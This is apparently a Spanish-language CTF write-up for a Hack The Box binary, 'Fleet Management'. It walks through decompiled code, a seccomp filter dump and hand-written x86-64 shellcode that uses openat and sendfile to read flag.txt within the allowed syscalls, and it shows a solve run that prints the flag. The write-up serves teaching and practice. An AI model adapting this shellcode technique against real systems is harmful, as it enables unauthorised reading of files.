Fleet Management
6 minutos de lectura
Se nos proporciona un binario de 64 bits llamado fleet_management
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Si lo abrimos en Ghidra, veremos esta función main
:
int main() {
setup();
fprintf(stdout, "%s %s Fleet Management System %s\n", &DAT_001023e5, &DAT_001020e9, &DAT_001023e0);
fprintf(stdout, "\n%s[*] Loading . . .\n%s", &DAT_001020f1, &DAT_001020e9);
sleep(2);
menu();
return 0;
}
Está llamando a menu
:
void menu() {
long in_FS_OFFSET;
undefined8 uVar1;
char local_13 [3];
undefined8 canary;
canary = *(undefined8 *) (in_FS_OFFSET + 0x28);
memset(local_13, 0, 3);
do {
fwrite("\n-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1, 0x1b, stdout);
fwrite("| |\n", 1, 0x1b, stdout);
fwrite("| [1] View the Fleet |\n", 1, 0x1b, stdout);
fwrite("| [2] Control Panel |\n", 1, 0x1b, stdout);
fwrite("| [3] User Settings |\n", 1, 0x1b, stdout);
fwrite("| [4] Exit |\n", 1, 0x1b, stdout);
fwrite("| |\n", 1, 0x1b, stdout);
fwrite("-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1, 0x1a, stdout);
fwrite("\n[*] What do you want to do? ", 1, 0x1d, stdout);
read(0, local_13, 2);
switch(local_13[0]) {
case '1':
fprintf(stdout, "\n%s[*] Connecting to the Encrypted channel . . .\n%s", &DAT_001020f1, &DAT_001020e9);
sleep(1);
fprintf(stdout, "\n%s[*] Fetching Data . . .\n%s", &DAT_001020f1, &DAT_001020e9);
sleep(1);
uVar1 = 0x10166a;
fwrite("\n=============================\n", 1, 0x1f, stdout);
fprintf(stdout, "| %s PDS Thanatos - %s[%sActive%s]%s |\n", &DAT_00102180, &DAT_00102178, &DAT_001020f1,&DAT_00102178,&DAT_001020e9, uVar1);
fprintf(stdout, "| %s CS Meteor - %s[%sActive%s]%s |\n", &DAT_00102180, &DAT_00102178, &DAT_001020f1,&DAT_00102178,&DAT_001020e9);
fprintf(stdout, "| %s LWS Proximo - %s[%sActive%s]%s |\n", &DAT_00102180, &DAT_00102178, &DAT_001020f1, &DAT_00102178, &DAT_001020e9);
fprintf(stdout, "| %s STS Goliath - %s[%sInactive%s]%s|\n", &DAT_00102180, &DAT_00102178, &DAT_00102211, &DAT_00102178, &DAT_001020e9);
fwrite("=============================\n", 1, 0x1e, stdout);
fwrite("\nKey:\n", 1, 6, stdout);
fprintf(stdout, "%sPDS: Planet Destroyer Ship\n", &DAT_00102180);
fwrite("CS: Combat Spaceship\n", 1, 0x15, stdout);
fwrite("LWS: Light Weight Spaceship\n", 1, 0x1c, stdout);
fprintf(stdout, "STS: Space Transportation Ship%s\n", &DAT_001020e9);
break;
case '2':
fprintf(stdout, "\n%s[*] Authenticating . . .\n%s", &DAT_001020f1, &DAT_001020e9);
sleep(1);
fprintf(stdout, "\n%s[!] Error: You are not member of an authorized group.\n%s", &DAT_00102211, &DAT_001020e9);
break;
case '3':
fprintf(stdout, "\n%s[!] Error: You should authenticate first.\n%s", &DAT_00102211, &DAT_001020e9);
break;
case '4':
fprintf(stdout, "\n[*] Bye! %s\n", &DAT_00102380);
/* WARNING: Subroutine does not return */
exit(0);
case '9':
beta_feature();
default:
fprintf(stdout, "\n%s[!] Error: Invalid Option.\n%s", &DAT_00102211, &DAT_001020e9);
}
} while (true);
}
Es una función bastante larga, pero la única opción que parece interesante es beta_feature
(opción 9
):
void beta_feature() {
code *__buf;
__buf = (code *) malloc(0x3c);
mprotect((void *) ((ulong) __buf & 0xfffffffffffff000), 0x3c, 7);
read(0, __buf, 0x3c);
skid_check();
(*__buf)();
}
Básicamente, tenemos la oportunidad de introducir instrucciones en código máquina para que se ejecuten. Podemos introducir hasta 0x3c
(60) bytes. Sin embargo, estamos limitados por skid_function
, que implementa reglas seccomp
para permitir instrucciones syscall
específicas:
void skid_check() {
undefined8 uVar1;
uVar1 = seccomp_init(0);
seccomp_rule_add(uVar1, 0x7fff0000, 0x3c, 0);
seccomp_rule_add(uVar1, 0x7fff0000, 0xe7, 0);
seccomp_rule_add(uVar1, 0x7fff0000, 0x101, 0);
seccomp_rule_add(uVar1, 0x7fff0000, 0x28, 0);
seccomp_rule_add(uVar1, 0x7fff0000, 0xf, 0);
seccomp_load(uVar1);
}
Para enumerar estas reglas seccomp
, podemos usar seccomp-tools
:
$ seccomp-tools dump ./fleet_management
🛰 Fleet Management System 📡
[*] Loading . . .
-_-_-_-_-_-_-_-_-_-_-_-_-
| |
| [1] View the Fleet |
| [2] Control Panel |
| [3] User Settings |
| [4] Exit |
| |
-_-_-_-_-_-_-_-_-_-_-_-_-
[*] What do you want to do? 9
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x0000000f if (A == rt_sigreturn) goto 0010
0006: 0x15 0x03 0x00 0x00000028 if (A == sendfile) goto 0010
0007: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0010
0008: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0010
0009: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
Entonces, nos permiten usar sys_rt_sigreturn
, sys_sendfile
, sys_exit
, sys_exit_group
y sys_openat
. Existen varias páginas web en las que se listan todas las instrucciones syscall
de Linux x86_64 con los parámetros y registros necesarios. Por ejemplo, esta.
Con las instrucciones syscall
permitidas, podemos abrir el archivo de la flag (flag.txt
) con sys_openat
y enviarlo al descriptor de archivo stdout
con sys_sendflie
. Adicionalmente, podemos salir con sys_exit
.
Entonces, sys_openat
necesita la siguiente configuración de registros:
$rax = 0x101
$rdi
tiene un descriptor de archivo de directorio$rsi
tiene un puntero al nombre del archivo$rdx
tiene unas flags$rcx
tiene el modo de operación (este se puede omitir)
Específicamente, podemos mirar en man7.org y aprender más sobre el significado de los parámetros:
int openat(int dirfd, const char *pathname, int flags);
Existe un alias para el descriptor de archivo de directorio llamado AT_FDCWD
que representa el directorio de trabajo actual (más información en stackoverflow.com). Además, abriremos el archivo como solo lectura (O_RDONLY
).
Una vez que tengamos sys_openat
configurado, recibiremos el descriptor de archivo del archivo de la flag como valor de retorno en $rax
. Aquí será cuando usemos sys_sendfile
(en verdad, sys_sendfile64
):
$rax = 0x28
$rdi
tiene el descriptor de archivo de salida (1
, que representastdout
)$rsi
tiene el descriptor de archivo de entrada (el que devuelvesys_openat
)$rdx
tiene un offset desde el cual empezar a leer (0
)$rcx
tiene el tamaó en bytes a enviar (por ejemplo,100
)
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
Para gente que nunca ha escrito en ensamblador, puede ser útil escribir un programa en C con la configuración anterior, compilarlo y analizar el código ensamblador generado:
#include <fcntl.h>
#include <stdlib.h>
#include <sys/sendfile.h>
void main() {
int fd;
fd = openat(AT_FDCWD, "flag.txt", O_RDONLY);
sendfile(1, fd, 0, 100);
exit(0);
}
$ gcc test.c -O3 -o test
$ ./test
HTB{f4k3_fl4g_f0r_t3st1ng}
Ese es el código ensamblador generado (optimizado debido a la opción -O3
de gcc
):
$ objdump -M intel --disassemble=main test
test: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .plt.got:
Disassembly of section .plt.sec:
Disassembly of section .text:
00000000000010a0 <main>:
10a0: f3 0f 1e fa endbr64
10a4: 50 push rax
10a5: 58 pop rax
10a6: 31 d2 xor edx,edx
10a8: 48 8d 35 55 0f 00 00 lea rsi,[rip+0xf55] # 2004 <_IO_stdin_used+0x4>
10af: bf 9c ff ff ff mov edi,0xffffff9c
10b4: 31 c0 xor eax,eax
10b6: 48 83 ec 08 sub rsp,0x8
10ba: e8 b1 ff ff ff call 1070 <openat@plt>
10bf: bf 01 00 00 00 mov edi,0x1
10c4: b9 64 00 00 00 mov ecx,0x64
10c9: 31 d2 xor edx,edx
10cb: 89 c6 mov esi,eax
10cd: e8 ae ff ff ff call 1080 <sendfile@plt>
10d2: 31 ff xor edi,edi
10d4: e8 b7 ff ff ff call 1090 <exit@plt>
Disassembly of section .fini:
Esto está bien, pero ahora hay que hacer lo mismo con instrucciones syscall
:
xor rdx, rdx
push rdx
mov rsi, 'flag.txt' # as hexadecimal number
push rsi
mov rsi, rsp
xor rdi, rdi
sub rdi, 100
mov rax, 0x101
syscall
mov rcx, 0x64
mov esi, eax
xor rdi, rdi
inc edi
mov al, 0x28
syscall
mov al, 0x3c
syscall
Nótese cómo puse $rsi
como puntero a "flag.txt\0"
, y también cómo $rdi = -100
(AT_FDCWD
). También, optimicé el uso de los registros para que el shellcode generado fuera más corto.
Si introducimos el shellcode anterior en el programa fleet_management
, obtendremos la flag:
$ python3 solve.py 165.22.125.212:30121
[*] './fleet_management'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 165.22.125.212 on port 30121: Done
[*] Shellcode length: 0x38
[+] HTB{sh3llc0d3_45_4_b4ckd00r}
[*] Closed connection to 165.22.125.212 port 30121
El exploit completo se puede encontrar aquí: solve.py
.